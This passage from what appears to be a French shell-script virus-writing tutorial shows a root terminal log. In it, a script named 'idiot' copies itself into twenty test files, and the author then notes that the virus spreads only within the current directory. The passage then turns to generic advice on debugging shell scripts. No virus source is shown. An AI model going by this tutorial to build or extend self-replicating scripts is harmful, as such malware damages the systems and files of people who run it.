root 43 Mar 14 01:08 testt19 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt2 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt20 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt3 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt4 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt5 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt6 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt7 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt8 -rw-r--r-- 1 root root 43 Mar 14 01:08 testt9 /*on en test un au hazard*/ [root@ThreaT@workgroup /root/script/virii]# sh ./testt6 je suis un programme test /*ok, maintenant que tout beigne, on va voir si idiot est capable de ce reproduire sur tout le repertoire*/ /*et on va même observer combien de temp il met*/ [root@ThreaT@workgroup /root/script/virii]# time ./idiot virus.sh version 0.0 by ThreaT a titre experimantal je suis un script idiot 0.61user 0.18system 0:00.79elapsed 99%CPU(0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (15119major+8931minor)pagefaults 0swaps /* comme vous pouvez le voir, l'operation a durer 79 dixieme et a utiliser 99% du CPU, ce que je trouve */ /* quand meme pas mal pour un code interprété */ /* bon, on liste*/ [root@ThreaT@workgroup /root/script/virii]# ls -l total 92 -rwxr-xr-x 1 root root 496 Mar 14 00:41 idiot* -rwxr-xr-x 1 root root 528 Mar 14 01:15 sccopy* -rw-r--r-- 1 root root 497 Mar 14 01:15 testt -rw-r--r-- 1 root root 497 Mar 14 01:15 testt1 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt10 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt11 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt12 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt13 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt14 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt15 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt16 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt17 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt18 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt19 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt2 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt20 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt3 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt4 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt5 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt6 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt7 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt8 -rw-r--r-- 1 root root 497 Mar 14 01:15 testt9 [root@ThreaT@workgroup /root/script/virii]# /* ok, sa nique fort!! */ comme nous avons put l'observer, le virus marche à merveille, seulement il est vraiment trop basic, pourquoi : - celui ci ne ce reproduit que dans le repertoire courant - il ne contient aucune chaine de test d'ecriture - de plus, il contient beaucoup de bug en environnement user on va regarder sa tout de suite: \\0x06//DEBUGGING & AJOUT DE FONCTION @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ deboguer un script de shell ne présente normalement guere de difficultées, bien qu'il n'existe pas d'outils spécifiques dediés à cet effet. lorsque une erreur ce produit, le shell imprime en general le numero de la ligne à l'origine de l'erreur. si celle ci n'est pas évidente, il est possible d'ajouter quelques insctructions "echo" supplementaires afin d'afficher le contenu des variables, ainsi que de tester le code par portion en les saisissants simplement dans le shell de magniere interactive. un script etant interpreté, il n'y a pas de perte de temp due a la compilation lorsque vous le modifiés et le testés. le meilleur moyen de detecter des erreurs plus subtils consiste à utiliser certaines options du shell. cela peut être réalisé soit à l'aide des options de la ligne de commande, soit a l'aide de la commande "set". voici un resumer des principales options Option de la ligne de commande Option set description ----------------------- -------------- ----------------------- sh -n